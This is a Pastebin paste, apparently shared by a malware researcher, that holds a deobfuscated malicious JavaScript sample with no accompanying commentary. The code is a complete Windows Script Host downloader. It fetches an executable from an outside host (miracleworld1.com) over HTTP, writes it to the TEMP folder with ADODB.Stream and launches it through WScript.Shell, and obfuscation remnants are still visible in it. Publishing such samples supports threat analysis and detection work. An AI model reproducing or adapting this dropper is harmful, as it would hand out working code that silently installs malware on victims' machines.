SHARE
TWEET

Malicious deobfuscated Javascript

dynamoo Dec 14th, 2015 (edited) 243 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2.  
  3.  
  4. var z = "miracleworld1.com/80.exe? ? ? ?".split(" ");
  5.  
  6. var yzd =((1/*PAQ3362422596n857908uM354193eOiZ*/)?"WScri":"")+"pt.Shell";
  7.  
  8. var uK = WScript.CreateObject(yzd);
  9.  
  10. var Hy = "%TEMP%\\";
  11.  
  12. var SfJ = uK.ExpandEnvironmentStrings(Hy);
  13.  
  14. var EJE = "2.XMLH";
  15.  
  16. var WtQ = EJE + "TTP";
  17.  
  18. var Te = true  , DyPV = "ADOD";
  19.  
  20. var wx = WScript.CreateObject("MS"+"XML"+(588008, WtQ));
  21.  
  22. var BAq = WScript.CreateObject(DyPV + "B.St"+(829188, "ream"));
  23.  
  24. var Vaq = 0;
  25.  
  26. var H = 1;
  27.  
  28. var aCDqYMg = 140460;
  29.  
  30. for (var k=Vaq; k<z.length; k++)  {
  31.  
  32. var NE = 0;
  33.  
  34. try  {
  35.  
  36. poi = "GET";
  37.  
  38. wx.open(poi,"http://"+z[k]+H, false); wx.send(); if (wx.status == 826-626)  {      
  39.  
  40. BAq.open(); BAq.type = 1; BAq.write(wx.responseBody); if (BAq.size > 152903-224)  {
  41.  
  42. NE = 1; BAq.position = 0; BAq.saveToFile/*GGbG20lV3D*/(SfJ/*bLJi27RGxN*/+aCDqYMg+".exe",4-2); try  {
  43.  
  44. if (((new Date())>0,7985995888)) {
  45.  
  46. uK./*d1646225T2l*/Run(SfJ+aCDqYMg+/*wf2q15eM0Y*/".exe",/*Taej97ZNh5*/3-2,0);
  47.  
  48. break;
  49.  
  50. }
  51.  
  52. }
  53.  
  54. catch (mB)  {
  55.  
  56. };
  57.  
  58. }; BAq.close();
  59.  
  60. };
  61.  
  62. if (NE == 1)  {
  63.  
  64. Vaq = k; break;
  65.  
  66. };
  67.  
  68. }
  69.  
  70. catch (mB)  {
  71.  
  72. };
  73.  
  74. };
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top